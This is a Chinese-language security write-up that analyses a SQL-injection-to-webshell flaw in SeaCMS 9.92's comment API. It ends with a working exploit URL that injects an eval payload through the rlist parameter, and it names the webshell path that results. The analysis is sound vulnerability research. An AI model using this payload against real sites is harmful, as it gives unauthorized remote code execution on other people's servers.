这篇文章的漏洞,在当时团队内部分享时就写好了。当时没分析过这个 CMS ,就顺便学习下(当时论坛中也发了帖子:https://forum.90sec.com/t/topic/258 )。
漏洞文件在 comment/api/index.php ,开头 require_once("../../include/common.php") 主要会做两件事。先将 $_GET、$_POST、$_COOKIE 注册成全局变量。(下图对应文件位置:include/filter.inc.php)
然后再检查这里是否存在非法变量名。不觉的这里有问题吗?正常逻辑应该是先检查变量名是否合法,然后再注册变量。还有一个问题就是,这里漏过滤了 _SESSION、_FILES ,我们继续往下看。(下图对应文件位置:include/common.php)
在下图第18行处调用了 ReadData 函数,我们跟进这个函数。在 ReadData 函数中,我们要关注 $rlist ,这个变量可以通过前面的全局变量注册来控制。而下面两个 Readmlist、Readrlist 都有用到这个变量,我们跟进。(下图对应文件位置:comment/api/index.php)
Readmlist 函数我们主要关注的是其对 $rlist 变量的过滤,具体过滤如下:(下图对应文件位置:comment/api/index.php)
然后再看 Readrlist 函数。这里的 $ids 其实就是刚才可控的 $rlist 变量,有没发现这里直接拼接在 SQL 语句中,而且没有引号包裹。而 getshell 也是发生在SQL语句执行这里。(下图对应文件位置:comment/api/index.php)
当 SQL 语句执行出错时, seacms 会把出错的信息写入一个 PHP 文件,这也是最终导致 getshell 的原因。(下图对应文件位置:include/sql.class.php)
EXP 如下:
http://localhost/seacms992/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[_]);?%3E
# webshell地址:http://localhost/seacms992/data/mysqli_error_trace.php